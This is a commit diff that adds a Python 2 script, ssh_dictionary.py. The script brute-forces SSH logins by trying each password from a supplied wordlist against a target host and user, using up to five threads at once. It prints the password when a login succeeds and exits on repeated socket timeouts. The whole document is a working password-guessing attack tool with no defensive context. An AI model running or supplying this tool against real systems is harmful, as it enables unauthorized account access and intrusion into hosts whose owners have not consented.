Created ssh_dictionary.py

ssh/ssh_dictionary.py

@@ -0,0 +1,53 @@
+import pxssh
+import optparse
+import time
+from threading import *
+maxConnections = 5
+connection_lock = BoundedSemaphore(value=maxConnections)
+found = False
+fails = 0
+def connect(host, user, pw, release):
+    global found
+    global fails
+    try:
+        s = pxssh.pxssh()
+        s.login(host, user, pw)
+        print '[+] Password found: ' + pw
+        found = True
+    except Exception, e:
+        if 'read_nonblocking' in str(e):
+            fails += 1
+            time.sleep(5)
+            connect(host, user, pw, False)
+        elif 'synchronize with original prompt' in str(e):
+            time.sleep(1)
+            connect(host, user, pw, False)
+    finally:
+        if release: connection_lock.release()
+def main():
+    parser = optparse.OptionParser('usage%prog -H <target host> -u <user> -F <password-list>')
+    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
+    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
+    parser.add_option('-u', dest='user', type='string', help='specify the user')
+    (options, args) = parser.parse_args()
+    host = options.tgtHost
+    passFile = options.passwdFile
+    user = options.user
+    if host == None or passFile == None or user == None:
+        print parser.usage
+        exit(0)
+    fn = open(passFile, 'r')
+    for line in fn.readlines():
+        if found:
+            print "[*] Exiting: Password found"
+            exit(0)
+        if fails > 5:
+            print "[!] Exiting: Too Many SOcket Timeouts"
+            exit(0)
+        connection_lock.acquire()
+        password = line.strip("\r").strip("\n")
+        print "[-] Testing: " + str(password)
+        t = Thread(target=connect, args=(host, user, password, True))
+        child = t.start()
+if __name__ == '__main__':
+    main()